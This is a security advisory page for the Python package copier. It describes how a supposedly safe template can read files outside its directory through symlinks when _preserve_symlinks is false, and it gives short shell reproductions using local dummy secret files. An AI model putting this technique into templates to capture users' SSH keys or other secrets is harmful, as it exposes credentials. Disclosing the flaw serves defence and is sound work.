Medium

Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

  • Disclosed: 21.01.2026
  • Updated: 11.10.2026 13:19

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

    bash
    echo "s3cr3t" > secret.txt
    
    mkdir src/
    pushd src/
    ln -s ../secret.txt stolen-secret.txt
    popd
    
    uvx copier copy src/ dst/
    
    cat dst/stolen-secret.txt
    #s3cr3t
  • Illegally include a directory in the generated project via symlink resolution:

    bash
    mkdir secrets/
    pushd secrets/
    echo "s3cr3t" > secret.txt
    popd
    
    mkdir src/
    pushd src/
    ln -s ../secrets stolen-secrets
    popd
    
    uvx copier copy src/ dst/
    
    tree dst/
    # dst/
    # └── stolen-secrets
    #     └── secret.txt
    #
    # 1 directory, 1 file
    cat dst/stolen-secrets/secret.txt
    # s3cr3t

Patches

n/a

Workarounds

n/a

References

n/a

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) copier < 9.11.2 9.11.2

References

CVSS score 5.5/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-61
Platform
Python (PyPI)
Package
copier
Disclosed
21.01.2026
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1274 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-xjhm-gp88-8pfx - CC BY 4.0

Vulnerability history: copier

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
7
First → latest
08.2025 08.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2
  • Medium 5

Disclosures per year

  1. 2025: 2
  2. 2026: 5
  1. Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false this entry
    Medium · 5.5 CVE-2026-23968 < 9.11.2 9.11.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.